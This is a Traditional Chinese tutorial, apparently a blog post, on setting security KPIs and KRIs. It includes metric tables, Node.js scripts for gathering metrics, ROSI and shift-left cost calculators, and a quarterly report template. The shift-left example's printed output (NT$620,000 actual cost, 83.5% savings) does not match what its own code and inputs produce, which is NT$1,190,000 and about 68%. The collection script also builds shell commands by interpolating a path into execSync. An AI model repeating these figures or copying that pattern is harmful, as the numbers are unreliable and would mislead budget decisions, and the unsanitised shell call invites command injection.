[安全教育] 002 資安 KPI 怎麼定?用數據證明安全投資的價值|關鍵指標與成效追蹤實戰指南

「沒有度量,就沒有改進。沒有改進,就沒有信任。
你花了三個月導入 SSDLC,老闆問你『成效在哪?』——你拿得出數據嗎?
安全不只要做得好,還要讓人看得見。」
— SSDLC by 飛飛


一、資安指標是什麼?為什麼你需要一張「安全體檢報告」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全開發(用防火建材施工)、安全測試(請結構技師來驗收)、安全部署(交屋前檢查門窗設定)、安全維運(裝好監視器和煙霧偵測器)。現在,我們來到了階段七:安全教育與持續改進(Education & Continuous Improvement)——如何用數據衡量這一切努力的成果。

想像你花了一大筆錢把房子全面翻修:換了防盜門窗、裝了消防灑水系統、加了監視器和保全。然後你老婆問你:「花了這些錢,到底有沒有比較安全?」

你說:「有啊,感覺比較安全了。」

她說:「什麼叫『感覺』?給我看數據。」

這就是資安指標在做的事——把「感覺比較安全」變成「可以證明比較安全」。

在企業裡,這個場景更加現實:你向老闆申請了 NT$50 萬的資安預算,導入了 SAST 掃描、買了 DAST 工具、送工程師去上資安課程。年底績效評估時,老闆問:「這 50 萬花得值嗎?明年還要繼續投嗎?」

如果你只能回答「呃,我們比較安全了」,那明年的預算大概率會被砍。但如果你能拿出一張報告:

  • 高風險漏洞從上線前平均 12 個降到 2 個
  • 漏洞修復時間從 14 天縮短到 3 天
  • 全年零資安事件,避免了預估 NT$500 萬的潛在損失

這就是用數據為安全投資背書,讓「安全」從成本中心變成價值中心。

飛飛觀點:
我曾經跟一位 CTO 聊天,他說:「資安就像買保險,花了錢如果沒出事,大家覺得浪費;出了事才後悔沒買。」資安指標就是解決這個困境的方法——讓安全的價值在「沒出事」的時候也能被量化、被看見。


二、傳統做法 vs. 數據驅動的安全管理

先來看看傳統做法和數據驅動做法的差別:

面向 傳統做法 數據驅動的安全管理
成效評估 「感覺比較安全了」 「高風險漏洞減少 83%」
預算申請 「我們需要更多資安投資」 「每投入 NT$1 在 SAST,省下 NT$8 的修復成本」
風險溝通 「系統可能有漏洞」 「目前有 3 個高風險漏洞,預估影響 2 萬名用戶」
改善方向 憑直覺決定 用數據找出最該投資的環節
向上報告 技術人員自己懂就好 管理層也能看懂的儀表板
團隊激勵 「大家要注意安全」 「這季的安全分數提升了 15 分,做得好!」

用蓋房子的比喻來說:

傳統做法就像裝修完房子後,問住戶「覺得怎麼樣?」——大家說「不錯啊」,但你不知道到底哪裡好、哪裡還需要加強。

數據驅動就像請驗屋師來出一份完整的檢測報告:結構強度 95 分、消防系統合格率 100%、門窗氣密性 88 分——你清楚知道整體狀況,也知道該把下一筆預算花在哪裡(氣密性)。


三、資安指標的兩大支柱:KPI 與 KRI

在進入具體指標之前,先搞清楚兩個核心概念:

KPI(Key Performance Indicator):關鍵績效指標

KPI 回答的問題是:「我們做得好不好?」

KPI 衡量的是你的安全措施的「成效」。就像學生的考試成績——用來評估學習效果、追蹤進步趨勢。

範例:

  • 漏洞修復時間(MTTR)是否在縮短?
  • CI/CD Pipeline 的安全掃描覆蓋率是否在提升?
  • 團隊的資安訓練完成率是多少?

KRI(Key Risk Indicator):關鍵風險指標

KRI 回答的問題是:「我們有多危險?」

KRI 衡量的是你的系統「當前面臨的風險水平」。就像體溫計——用來監測健康狀況,超標就要注意。

範例:

  • 目前有多少個未修補的高風險漏洞?
  • 過去 30 天發生了幾次安全事件?
  • 有多少個第三方套件存在已知 CVE?

KPI vs. KRI 的關係

面向 KPI(績效指標) KRI(風險指標)
回答什麼 我們做得好不好? 我們有多危險?
看的方向 回顧過去的表現 預警未來的風險
比喻 學生的期末成績 學生的健康檢查報告
目標 越高越好(或趨勢向好) 越低越好(或控制在閾值內)
範例 漏洞修復速度、訓練完成率 未修補漏洞數、暴露的攻擊面

飛飛觀點:
很多團隊只追蹤 KPI 卻忽略 KRI,就像只看考試成績卻不做健康檢查。成績再好,如果身體出問題也沒用。反過來說,只看 KRI 而不看 KPI,就像每天量體溫卻不運動——知道自己有風險,但不知道怎麼變好。兩者都要看,才是完整的資安成效追蹤。


四、關鍵安全指標清單:你的團隊應該追蹤什麼?

以下是我整理的資安指標體系,分為五大類別。不需要一次全做,後面會教你怎麼挑選最適合你的指標。

4.1 漏洞管理指標

這是最基本也最重要的一類指標,衡量你發現和修復漏洞的能力。

指標名稱 類型 計算方式 目標方向 說明
漏洞密度 KRI 漏洞數 / 千行程式碼(KLOC) ↓ 越低越好 程式碼的「安全品質密度」
高風險漏洞數 KRI CVSS ≥ 7.0 的未修補漏洞總數 ↓ 越低越好 當前的風險暴露程度
平均修復時間(MTTR) KPI 從發現到修復的平均天數 ↓ 越短越好 團隊的修復效率
修復率 KPI 已修復漏洞 / 已發現漏洞 × 100% ↑ 越高越好 漏洞是否有被處理
漏洞逃逸率 KPI 上線後才發現的漏洞 / 總漏洞數 × 100% ↓ 越低越好 開發階段的攔截能力
漏洞重開率 KPI 修復後又重現的漏洞 / 已修復漏洞 × 100% ↓ 越低越好 修復品質是否到位

台灣企業的合理目標參考:

指標 起步階段 成長階段 成熟階段
漏洞密度 < 10 / KLOC < 5 / KLOC < 2 / KLOC
高風險漏洞 MTTR < 30 天 < 14 天 < 7 天
中風險漏洞 MTTR < 90 天 < 30 天 < 14 天
漏洞逃逸率 < 30% < 15% < 5%

4.2 安全流程指標

衡量安全工具和流程的落實程度。

指標名稱 類型 計算方式 目標方向 說明
安全掃描覆蓋率 KPI 有跑安全掃描的 Repo / 總 Repo 數 × 100% ↑ 越高越好 CI/CD 安全整合的覆蓋程度
掃描通過率 KPI 通過安全品質門檻的 Build / 總 Build 數 × 100% ↑ 越高越好 程式碼品質的趨勢
安全審查率 KPI 經過安全審查的 PR / 總 PR 數 × 100% ↑ 越高越好 Code Review 中安全的涵蓋率
誤報率 KPI 確認為誤報的告警 / 總告警數 × 100% ↓ 越低越好 工具的精準度(太高會導致信任流失)
第三方套件漏洞比例 KRI 有已知 CVE 的套件 / 總套件數 × 100% ↓ 越低越好 供應鏈風險暴露程度

4.3 安全事件指標

衡量你的偵測和回應能力。

指標名稱 類型 計算方式 目標方向 說明
平均偵測時間(MTTD) KPI 從事件發生到被偵測的平均時間 ↓ 越短越好 監控系統的靈敏度
平均回應時間(MTTR) KPI 從偵測到開始處理的平均時間 ↓ 越短越好 事件回應的效率
安全事件數 KRI 過去 N 天/月的安全事件總數 ↓ 越低越好 整體安全態勢
事件復發率 KPI 同類型事件再次發生的比例 ↓ 越低越好 根因是否被徹底解決

4.4 人員與文化指標

衡量團隊的安全意識和能力。

指標名稱 類型 計算方式 目標方向 說明
資安訓練完成率 KPI 完成訓練的人數 / 應訓練人數 × 100% ↑ 越高越好 教育訓練的覆蓋率
Security Champion 覆蓋率 KPI 有 Champion 的團隊 / 總團隊數 × 100% ↑ 越高越好 安全文化的滲透程度
內部安全回報數 KPI 團隊成員主動回報的安全問題數 ↑ 越高越好 安全文化的健康度
安全知識評量分數 KPI 團隊在安全測驗中的平均分數 ↑ 越高越好 安全知識的實際掌握度

4.5 商業影響指標

讓管理層看得懂的指標,連結安全與商業價值。

指標名稱 類型 計算方式 目標方向 說明
安全修復成本節省 KPI 開發階段修復成本 vs. 上線後修復成本的差額 ↑ 越高越好 左移策略的經濟效益
因安全事件導致的停機時間 KRI 因資安事件導致的服務中斷總時數 ↓ 越低越好 安全對可用性的影響
合規差距數 KRI 未滿足法規要求的項目數 ↓ 越低越好 法規風險暴露程度
安全投資報酬率(ROSI) KPI (預期損失 – 實際損失 – 安全投資)/ 安全投資 × 100% ↑ 越高越好 安全投資的整體效益

五、實戰:用 Node.js 建立資安指標追蹤系統

讓我們用一個台灣電商平台的場景,從頭到尾建立一套資安指標追蹤系統。

5.1 定義度量資料結構

// security-metrics.js — 資安指標資料收集模組

/**
 * 資安指標的資料結構定義
 * 用於追蹤 SSDLC 各階段的安全成效
 */
const SecurityMetricsSchema = {
  // 報告基本資訊
  reportPeriod: {
    startDate: '2026-01-01',
    endDate: '2026-03-31',
    quarter: 'Q1-2026',
  },

  // 4.1 漏洞管理指標
  vulnerabilityMetrics: {
    totalDiscovered: 0,        // 本期發現的漏洞總數
    totalResolved: 0,          // 本期修復的漏洞總數
    openHighRisk: 0,           // 目前未修補的高風險漏洞
    openMediumRisk: 0,         // 目前未修補的中風險漏洞
    mttrHigh: 0,               // 高風險漏洞平均修復天數
    mttrMedium: 0,             // 中風險漏洞平均修復天數
    escapedToProduction: 0,    // 逃逸到正式環境的漏洞數
    reopened: 0,               // 修復後又重開的漏洞數
    densityPerKLOC: 0,         // 每千行程式碼的漏洞密度
  },

  // 4.2 安全流程指標
  processMetrics: {
    reposWithScanning: 0,      // 有安全掃描的 Repo 數
    totalRepos: 0,             // 總 Repo 數
    buildsPassed: 0,           // 通過安全門檻的 Build 數
    totalBuilds: 0,            // 總 Build 數
    prsWithSecurityReview: 0,  // 經安全審查的 PR 數
    totalPRs: 0,               // 總 PR 數
    falsePositives: 0,         // 誤報數
    totalAlerts: 0,            // 總告警數
    depsWithCVE: 0,            // 有已知 CVE 的套件數
    totalDeps: 0,              // 總套件數
  },

  // 4.3 安全事件指標
  incidentMetrics: {
    totalIncidents: 0,         // 安全事件總數
    mttdHours: 0,              // 平均偵測時間(小時)
    mttrHours: 0,              // 平均回應時間(小時)
    recurrentIncidents: 0,     // 復發的事件數
  },

  // 4.4 人員與文化指標
  cultureMetrics: {
    trainingCompleted: 0,      // 完成訓練的人數
    trainingRequired: 0,       // 應訓練的人數
    teamsWithChampion: 0,      // 有 Security Champion 的團隊數
    totalTeams: 0,             // 總團隊數
    internalReports: 0,        // 內部安全回報數
    avgQuizScore: 0,           // 安全測驗平均分數
  },
};

5.2 自動化資料收集

// collect-metrics.js — 從 CI/CD 工具自動收集度量資料
const { execSync } = require('child_process');

/**
 * 從 npm audit 收集依賴漏洞資料
 */
function collectDependencyMetrics(projectPath) {
  try {
    const auditResult = execSync(
      <code>cd ${projectPath} && npm audit --json 2>/dev/null</code>,
      { encoding: 'utf8' }
    );
    const audit = JSON.parse(auditResult);

    return {
      totalDeps: Object.keys(audit.vulnerabilities || {}).length,
      critical: countBySeverity(audit, 'critical'),
      high: countBySeverity(audit, 'high'),
      moderate: countBySeverity(audit, 'moderate'),
      low: countBySeverity(audit, 'low'),
      timestamp: new Date().toISOString(),
    };
  } catch (error) {
    console.error('npm audit 執行失敗:', error.message);
    return null;
  }
}

function countBySeverity(audit, severity) {
  return Object.values(audit.vulnerabilities || {})
    .filter(v => v.severity === severity).length;
}

/**
 * 從 Git 記錄計算程式碼行數(用於漏洞密度)
 */
function countLinesOfCode(projectPath) {
  try {
    // 使用 cloc 或簡單的 wc -l
    const result = execSync(
      <code>find ${projectPath}/src -name "*.js" -o -name "*.ts" | xargs wc -l | tail -1</code>,
      { encoding: 'utf8' }
    );
    const totalLines = parseInt(result.trim().split(/\s+/)[0], 10);
    return totalLines;
  } catch {
    return 0;
  }
}

/**
 * 計算漏洞密度
 */
function calculateVulnerabilityDensity(vulnCount, linesOfCode) {
  if (linesOfCode === 0) return 0;
  const kloc = linesOfCode / 1000;
  return parseFloat((vulnCount / kloc).toFixed(2));
}

/**
 * 從漏洞追蹤系統計算 MTTR(平均修復時間)
 * 假設使用 JSON 格式的漏洞記錄
 */
function calculateMTTR(vulnerabilities, severity = 'high') {
  const resolved = vulnerabilities
    .filter(v => v.severity === severity && v.resolvedAt)
    .map(v => {
      const discovered = new Date(v.discoveredAt);
      const resolved = new Date(v.resolvedAt);
      return (resolved - discovered) / (1000 * 60 * 60 * 24); // 天
    });

  if (resolved.length === 0) return 0;
  const avgDays = resolved.reduce((a, b) => a + b, 0) / resolved.length;
  return parseFloat(avgDays.toFixed(1));
}

module.exports = {
  collectDependencyMetrics,
  countLinesOfCode,
  calculateVulnerabilityDensity,
  calculateMTTR,
};

5.3 計算安全投資報酬率(ROSI)

這是讓老闆眼睛一亮的指標——用數字證明安全投資是划算的。

// rosi-calculator.js — 安全投資報酬率計算器

/**
 * ROSI(Return on Security Investment)計算
 *
 * 公式:ROSI = (預期年化損失 × 風險降低比例 - 安全投資成本) / 安全投資成本 × 100%
 *
 * 其中:
 * - ALE(Annualized Loss Expectancy)= SLE × ARO
 * - SLE(Single Loss Expectancy)= 單次事件的預估損失
 * - ARO(Annualized Rate of Occurrence)= 年化發生頻率
 */
function calculateROSI({
  singleLossExpectancy,   // 單次資安事件的預估損失(NT$)
  annualRateOfOccurrence, // 年化發生頻率(次/年)
  riskReductionRate,      // 導入安全措施後的風險降低比例(0-1)
  securityInvestment,     // 安全投資總成本(NT$)
}) {
  // 計算年化預期損失(ALE)
  const ale = singleLossExpectancy * annualRateOfOccurrence;

  // 計算導入安全措施後「避免的損失」
  const avoidedLoss = ale * riskReductionRate;

  // 計算 ROSI
  const rosi = ((avoidedLoss - securityInvestment) / securityInvestment) * 100;

  return {
    ale: Math.round(ale),
    avoidedLoss: Math.round(avoidedLoss),
    securityInvestment,
    rosi: parseFloat(rosi.toFixed(1)),
    netBenefit: Math.round(avoidedLoss - securityInvestment),
  };
}

// ============================
// 實際案例:台灣電商平台
// ============================

const ecommerceCase = calculateROSI({
  // 一次資料外洩事件的預估損失
  // 包含:罰鍰 + 客戶流失 + 法律費用 + 商譽損失
  singleLossExpectancy: 5000000,   // NT$500 萬

  // 根據產業統計,類似規模的電商平台
  // 每年發生重大資安事件的頻率約 0.3 次
  annualRateOfOccurrence: 0.3,

  // 導入 SSDLC(SAST + SCA + DAST + 教育訓練)後
  // 預估可降低 70% 的風險
  riskReductionRate: 0.7,

  // 年度安全投資
  // SAST 工具:NT$0(使用開源 Semgrep)
  // DAST 工具:NT$0(使用開源 ZAP)
  // 教育訓練:NT$100,000
  // 一次滲透測試:NT$250,000
  // 工程師時間成本:NT$150,000
  securityInvestment: 500000,      // NT$50 萬
});

console.log('=== 台灣電商平台 ROSI 分析 ===');
console.log(<code class="kb-btn">年化預期損失 (ALE):NT$${ecommerceCase.ale.toLocaleString()}</code>);
console.log(<code class="kb-btn">避免的損失:NT$${ecommerceCase.avoidedLoss.toLocaleString()}</code>);
console.log(<code class="kb-btn">安全投資:NT$${ecommerceCase.securityInvestment.toLocaleString()}</code>);
console.log(<code class="kb-btn">淨效益:NT$${ecommerceCase.netBenefit.toLocaleString()}</code>);
console.log(<code>ROSI:${ecommerceCase.rosi}%</code>);

// 輸出:
// === 台灣電商平台 ROSI 分析 ===
// 年化預期損失 (ALE):NT$1,500,000
// 避免的損失:NT$1,050,000
// 安全投資:NT$500,000
// 淨效益:NT$550,000
// ROSI:110%
// → 每投入 NT$1,產生 NT$1.10 的安全效益

飛飛觀點:
ROSI 不是精確的科學計算,而是一種「合理的估算」。重點不在於數字是否 100% 精確,而在於它提供了一個讓技術人員和管理層能夠「講同一種語言」的框架。當老闆問「為什麼要花這筆錢」,你能拿出一個有邏輯的數字,而不是只說「因為安全很重要」——這就夠了。

5.4 漏洞修復成本的「左移效益」

IBM 在其年度《資料外洩成本報告》中長年追蹤一個重要發現:漏洞越早發現,修復成本越低。以下是根據業界研究整理的相對成本:

// shift-left-cost.js — 左移策略的成本效益計算

/**
 * 不同階段發現漏洞的相對修復成本
 * 基準:需求階段 = 1x
 */
const RELATIVE_COST = {
  requirements: 1,    // 需求階段(寫規格時發現)
  design: 5,          // 設計階段(威脅建模時發現)
  implementation: 10, // 實作階段(Code Review / SAST 發現)
  testing: 15,        // 測試階段(DAST / 滲透測試發現)
  production: 30,     // 正式環境(上線後才發現)
  breach: 100,        // 資料外洩事件(被攻擊後才發現)
};

/**
 * 計算左移策略的成本節省
 */
function calculateShiftLeftSavings({
  vulnsFoundInRequirements,
  vulnsFoundInDesign,
  vulnsFoundInImplementation,
  vulnsFoundInTesting,
  vulnsFoundInProduction,
  baseCostPerVuln,  // 需求階段修復一個漏洞的基本成本(NT$)
}) {
  // 如果所有漏洞都在正式環境才發現的「最差情境」成本
  const totalVulns =
    vulnsFoundInRequirements +
    vulnsFoundInDesign +
    vulnsFoundInImplementation +
    vulnsFoundInTesting +
    vulnsFoundInProduction;

  const worstCaseCost = totalVulns * baseCostPerVuln * RELATIVE_COST.production;

  // 實際成本(在不同階段發現)
  const actualCost =
    vulnsFoundInRequirements * baseCostPerVuln * RELATIVE_COST.requirements +
    vulnsFoundInDesign * baseCostPerVuln * RELATIVE_COST.design +
    vulnsFoundInImplementation * baseCostPerVuln * RELATIVE_COST.implementation +
    vulnsFoundInTesting * baseCostPerVuln * RELATIVE_COST.testing +
    vulnsFoundInProduction * baseCostPerVuln * RELATIVE_COST.production;

  return {
    totalVulns,
    worstCaseCost: Math.round(worstCaseCost),
    actualCost: Math.round(actualCost),
    savings: Math.round(worstCaseCost - actualCost),
    savingsPercentage: parseFloat(
      (((worstCaseCost - actualCost) / worstCaseCost) * 100).toFixed(1)
    ),
  };
}

// 實際案例:某台灣金融科技公司的季度數據
const result = calculateShiftLeftSavings({
  vulnsFoundInRequirements: 3,    // 安全規格審查時發現 3 個
  vulnsFoundInDesign: 5,          // 威脅建模時發現 5 個
  vulnsFoundInImplementation: 12, // SAST / Code Review 發現 12 個
  vulnsFoundInTesting: 4,         // DAST / 滲透測試發現 4 個
  vulnsFoundInProduction: 1,      // 上線後才發現 1 個
  baseCostPerVuln: 5000,          // 需求階段修復一個漏洞約 NT$5,000
});

console.log('=== 左移效益分析 ===');
console.log(<code>總漏洞數:${result.totalVulns} 個</code>);
console.log(<code class="kb-btn">最差情境成本(全在線上發現):NT$${result.worstCaseCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">實際成本(左移後):NT$${result.actualCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">節省金額:NT$${result.savings.toLocaleString()}</code>);
console.log(<code>節省比例:${result.savingsPercentage}%</code>);

// 輸出:
// === 左移效益分析 ===
// 總漏洞數:25 個
// 最差情境成本(全在線上發現):NT$3,750,000
// 實際成本(左移後):NT$620,000
// 節省金額:NT$3,130,000
// 節省比例:83.5%

六、資安成效報告模板:可直接使用的季度報告

以下是一份完整的資安成效季度報告模板,你可以直接拿來用:

# 資安成效季度報告

## 報告資訊
- **報告期間**:2026 年 Q1(1 月 - 3 月)
- **報告日期**:2026/04/05
- **編製人**:[Security Champion 姓名]
- **審核人**:[技術主管姓名]

---

## 一、執行摘要(給管理層看的 30 秒版本)

本季安全態勢整體**改善**,主要亮點:
- ✅ 高風險漏洞修復時間從 21 天縮短至 7 天(改善 67%)
- ✅ CI/CD 安全掃描覆蓋率從 60% 提升至 85%
- ✅ 全季零重大安全事件
- ⚠️ 第三方套件漏洞比例偏高(12%),需加速更新

**安全投資效益**:本季安全投資 NT$150,000,預估避免損失 NT$500,000,ROSI 為 233%。

---

## 二、漏洞管理

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 漏洞密度(/ KLOC) | 4.2 | 3.1 | ↓ 改善 | < 2.0 |
| 未修補高風險漏洞 | 5 | 2 | ↓ 改善 | 0 |
| 高風險 MTTR(天) | 21 | 7 | ↓ 改善 | < 7 |
| 中風險 MTTR(天) | 45 | 18 | ↓ 改善 | < 14 |
| 漏洞逃逸率 | 18% | 8% | ↓ 改善 | < 5% |
| 漏洞重開率 | 10% | 5% | ↓ 改善 | < 3% |

**分析**:SAST 工具(Semgrep)在 Q1 初導入後,顯著提升了開發階段的攔截能力,
漏洞逃逸率下降 10 個百分點。

---

## 三、安全流程

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 安全掃描覆蓋率 | 60% | 85% | ↑ 改善 | 100% |
| 掃描通過率 | 72% | 81% | ↑ 改善 | > 90% |
| 安全審查率 | 30% | 55% | ↑ 改善 | > 80% |
| 誤報率 | 25% | 18% | ↓ 改善 | < 10% |
| 有 CVE 的套件比例 | 15% | 12% | ↓ 改善 | < 5% |

---

## 四、安全事件

| 指標 | 上季 | 本季 | 趨勢 |
|------|------|------|------|
| 安全事件總數 | 3 | 0 | ↓ 改善 |
| P1/P2 事件 | 1 | 0 | ↓ 改善 |
| MTTD(小時) | 48 | N/A | - |
| MTTR(小時) | 72 | N/A | - |

---

## 五、人員與文化

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 資安訓練完成率 | 40% | 75% | ↑ 改善 | 100% |
| Security Champion 覆蓋率 | 25% | 50% | ↑ 改善 | 100% |
| 內部安全回報數 | 2 | 7 | ↑ 改善 | 持續增加 |

---

## 六、下季行動計畫

| 優先序 | 行動項目 | 負責人 | 預計完成日 |
|--------|---------|--------|-----------|
| P1 | 安全掃描覆蓋率提升至 100% | DevOps Lead | Q2 第 2 週 |
| P1 | 處理剩餘 2 個高風險漏洞 | 後端團隊 | Q2 第 1 週 |
| P2 | 第三方套件全面更新 | 各團隊 Champion | Q2 第 4 週 |
| P2 | 調整 SAST 規則降低誤報率 | 資安 Champion | Q2 第 6 週 |
| P3 | 全員資安訓練達 100% | HR + 資安 | Q2 第 8 週 |

飛飛觀點:
報告最重要的不是「有多少頁」,而是「前 30 秒能不能讓人看懂」。管理層通常只看執行摘要——所以那一段要用最簡潔的方式傳達「現在安全嗎?」和「錢花得值嗎?」兩個核心問題。詳細數據是給技術團隊深入分析用的。


七、用 OWASP SAMM 評估安全成熟度

除了追蹤單一指標,你也需要一個「全局視角」來評估團隊的安全開發成熟度。OWASP SAMM(Software Assurance Maturity Model) 就是這樣的工具。

SAMM 是什麼?

SAMM 把安全開發分成 5 個業務功能、15 個安全實務,每個實務有 3 個成熟度等級。你可以用它來:

  1. 評估現況:我們現在在哪裡?
  2. 設定目標:我們想達到什麼水準?
  3. 追蹤進步:我們有沒有在進步?

SAMM 五大業務功能

業務功能 說明 包含的安全實務
治理(Governance) 管理和策略 策略與指標、政策與合規、教育與指導
設計(Design) 威脅評估和架構 威脅評估、安全需求、安全架構
實作(Implementation) 建構和部署 安全建構、安全部署、缺陷管理
驗證(Verification) 測試和審查 架構評估、需求驗證測試、安全測試
營運(Operations) 事件和環境 事件管理、環境管理、營運管理

成熟度等級

等級 說明 比喻
Level 0 沒有做 房子沒裝門鎖
Level 1 有基本做法,但非系統化 有裝門鎖,但沒有保全系統
Level 2 有系統化的流程 有保全系統,定期巡邏
Level 3 全面優化,持續改進 24 小時監控中心,定期演練

快速自評 Checklist

以下是一份簡化版的 SAMM 自評表,適合作為團隊的第一次評估:

## OWASP SAMM 快速自評 Checklist

### 治理(Governance)
- [ ] Level 1: 有基本的安全政策文件
- [ ] Level 1: 團隊成員接受過安全教育訓練
- [ ] Level 2: 有定義資安 KPI 並定期追蹤
- [ ] Level 2: 安全政策每年審查更新
- [ ] Level 3: 安全策略與業務目標對齊,管理層定期審查

### 設計(Design)
- [ ] Level 1: 對高風險功能有做威脅建模
- [ ] Level 1: 有定義基本的安全需求
- [ ] Level 2: 所有新功能都有威脅建模
- [ ] Level 2: 有安全架構設計的標準和模式
- [ ] Level 3: 威脅建模結果被追蹤和驗證

### 實作(Implementation)
- [ ] Level 1: 有安全編碼規範
- [ ] Level 1: 有使用 SAST 工具
- [ ] Level 2: CI/CD 整合安全掃描
- [ ] Level 2: 有第三方套件漏洞管理流程
- [ ] Level 3: 安全品質門檻自動化,零容忍政策

### 驗證(Verification)
- [ ] Level 1: 有做過至少一次滲透測試
- [ ] Level 1: 有使用 DAST 工具
- [ ] Level 2: 定期執行安全測試(至少每季)
- [ ] Level 2: 安全測試涵蓋 OWASP Top 10
- [ ] Level 3: 安全測試完全自動化,結果追蹤到修復

### 營運(Operations)
- [ ] Level 1: 有基本的事件回應流程
- [ ] Level 1: 有安全監控和日誌
- [ ] Level 2: 有事件回應 SOP 和演練
- [ ] Level 2: 安全監控涵蓋應用層和基礎設施層
- [ ] Level 3: 自動化事件偵測和回應,定期紅隊演練

評分方式:

  • 每個 Level 的所有項目都勾選 → 達到該 Level
  • 取每個業務功能的最低達成 Level 作為該功能的分數
  • 5 個功能的平均值就是你的整體成熟度分數

八、安全儀表板設計:讓數據會說話

好的度量數據需要好的呈現方式。以下是安全儀表板的設計建議:

儀表板的三層結構

┌─────────────────────────────────────────────────────────────┐
│                    Layer 1:執行摘要                          │
│  給 CTO/CEO 看的,一眼就知道「安全嗎?」                      │
│                                                              │
│  🟢 安全態勢:良好    📊 ROSI:110%    ⚠️ 待處理:2 個高風險  │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 2:趨勢分析                          │
│  給技術主管看的,了解「有沒有在進步?」                        │
│                                                              │
│  📈 漏洞密度趨勢(過去 4 季)                                 │
│  📉 MTTR 趨勢(過去 4 季)                                   │
│  📊 安全掃描覆蓋率趨勢                                       │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 3:詳細數據                          │
│  給資安團隊看的,深入分析「哪裡需要改進?」                    │
│                                                              │
│  🔍 個別漏洞清單與狀態                                       │
│  📋 各 Repo 的掃描結果                                       │
│  👥 各團隊的訓練完成度                                        │
└─────────────────────────────────────────────────────────────┘

安全態勢的紅綠燈系統

用簡單的紅黃綠燈讓所有人一眼看懂:

燈號 條件 代表意義
🟢 綠燈 所有高風險漏洞已修復 + 掃描覆蓋率 > 80% + 本月零事件 安全態勢良好
🟡 黃燈 有 1-3 個高風險漏洞待修復,或覆蓋率 < 80% 需要關注
🔴 紅燈 有 > 3 個高風險漏洞,或發生 P1/P2 事件 需要立即行動

九、團隊落地建議:從零開始建立資安指標追蹤

建議一:從三個指標開始

如果你的團隊從來沒追蹤過資安指標,不要一口氣追蹤 20 個指標——那只會讓大家疲於奔命。先從這三個最基本的開始:

  1. 高風險漏洞數量(KRI)— 知道你現在有多危險
  2. 高風險漏洞 MTTR(KPI)— 知道你修得夠不夠快
  3. 安全掃描覆蓋率(KPI)— 知道你有沒有在做安全檢查

這三個指標就像體檢的血壓、血糖、心率——最基本但最關鍵。

建議二:善用現有工具自動收集

不需要另外買度量工具。你的 CI/CD 系統已經有很多數據:

資料來源 可以提取的指標
GitHub / GitLab PR 數、Code Review 數、Merge 時間
npm audit / Snyk 套件漏洞數、嚴重等級分布
Semgrep / SonarQube 程式碼漏洞數、漏洞密度
OWASP ZAP DAST 掃描結果、漏洞類別分布
Jira / Linear 漏洞修復時間、漏洞狀態追蹤
Slack / Teams 安全事件通報數、回應時間

建議三:每季做一次資安成效報告

不需要每天看數字,但至少每季做一次正式的回顧:

每季資安指標追蹤流程:

第 1 週:自動化收集數據
    ↓
第 2 週:分析趨勢,撰寫報告
    ↓
第 3 週:團隊內部 Review
    ↓
第 4 週:向管理層報告,設定下季目標
    ↓
  (下一季重複)

建議四:把度量結果跟團隊目標連結

度量不是為了懲罰,而是為了改進。把資安指標融入團隊的 OKR 或 KPI:

## 範例:工程團隊 Q2 OKR

**Objective:提升產品安全品質**

KR1:高風險漏洞 MTTR 從 14 天降至 7 天
KR2:CI/CD 安全掃描覆蓋率達 100%
KR3:漏洞逃逸率從 15% 降至 8%
KR4:全員完成 OWASP Top 10 線上課程

建議五:慶祝進步,不懲罰失敗

這是安全文化的核心。當指標改善時,公開表揚團隊。當指標退步時,把它當作學習機會,不是指責對象。

  • ✅ 「這季的 MTTR 縮短了 50%,大家做得很好!」
  • ✅ 「漏洞逃逸率上升了,我們來看看是哪個環節需要加強。」
  • ❌ 「誰寫的程式碼又出問題了?」

常見問題 FAQ

Q1:我們公司很小(3-5 人團隊),有必要追蹤資安指標嗎?

有,但可以極度簡化。小團隊只需要追蹤三個數字:目前有幾個高風險漏洞、修一個漏洞平均要多久、CI/CD 有沒有跑安全掃描。每個月花 15 分鐘看一下就好。重點不是做出一份精美的報告,而是養成「用數據看安全」的習慣。

Q2:ROSI 的數據很難估算,有什麼簡化方法?

可以用「事件成本法」來簡化:找出過去一年你們產業中類似規模公司發生資安事件的案例,估算一次事件的平均成本(包括停機、修復、客戶流失、罰鍰)。台灣中小型電商的一次資料外洩事件平均損失在 NT$200 萬到 NT$1,000 萬之間,金融業更高。拿這個數字乘以你認為的年化發生頻率(通常 0.1-0.5),就是你的 ALE。不需要追求精確,合理的估算就夠了。

Q3:安全指標一直沒改善怎麼辦?

先檢查三件事:一是指標本身是否合理——目標太高會讓團隊挫敗,建議一次只改善一個指標;二是工具是否到位——光靠人力很難提升指標,自動化工具是必要的投資;三是是否有明確的負責人——沒人負責的指標不會自己變好。如果三件事都確認了,還是沒進步,可能需要重新檢視你的安全流程設計。

Q4:管理層對資安成效報告沒興趣怎麼辦?

把報告「翻譯」成他們在意的語言。管理層不在意漏洞密度是 3.1 還是 4.2,但他們在意:「如果不處理這些漏洞,一旦發生資料外洩,可能面臨 NT$500 萬的罰鍰和客戶流失。」「這季的安全投資為公司避免了 NT$100 萬的潛在損失。」用風險和金錢說話,比用技術術語有效 10 倍。


十、結語:量化安全,讓努力被看見

回到蓋房子的比喻。你花了大量心血學習安全需求、安全設計、安全編碼、安全測試、安全監控——這一路走來,你的房子已經從一棟普通的建築,變成了一座有防震結構、消防系統、監視保全的安全堡壘。

但最終,你需要一份「驗屋報告」,證明這些努力不是白費的。資安指標就是那份報告。

它不只是給老闆看的——更是給你自己和團隊看的。當你看到漏洞密度從 10 降到 3,當你看到 MTTR 從一個月縮短到一週,當你看到安全掃描覆蓋率從 0% 爬到 100%——每一個數字的改善,都是你和團隊一步一步踏實走出來的成果。

「安全不是恐懼,而是創造的基礎。而度量,就是讓你看見自己走了多遠、還能走多遠的地圖。」

SSDLC 的七個階段,我們一路從安全需求走到了資安成效追蹤。這不是終點,而是一個新的循環的起點。有了度量,你才知道下一輪要從哪裡開始改進;有了數據,你才能持續讓安全變得更好。

